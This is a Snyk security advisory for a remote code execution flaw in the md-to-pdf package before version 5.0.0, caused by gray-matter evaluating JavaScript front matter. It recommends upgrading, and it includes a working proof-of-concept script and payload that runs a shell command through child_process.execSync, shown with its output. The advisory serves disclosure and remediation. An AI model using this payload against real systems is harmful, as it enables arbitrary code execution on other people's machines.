Remote Code Execution (RCE) Affecting md-to-pdf package, versions <5.0.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
2.5% (91st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-MDTOPDF-1657880
  • published8 Dec 2021
  • disclosed23 Sept 2021
  • creditOscar Arnflo

Introduced: 23 Sep 2021

CVE-2021-23639  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade md-to-pdf to version 5.0.0 or higher.

Overview

md-to-pdf is a CLI tool for converting Markdown files to PDF.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine.

PoC:


//Before running poc.js:

$ cat /tmp/RCE.txt

cat: /tmp/RCE.txt: No such file or directory

//After running poc.js

$ node poc.js

$ cat /tmp/RCE.txt

uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)

poc.js:


const { mdToPdf } = require('md-to-pdf');

var payload = '---js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE';

(async () => { await mdToPdf({ content: payload }, { dest: './output.pdf' }); })();

CVSS Scores

version 3.1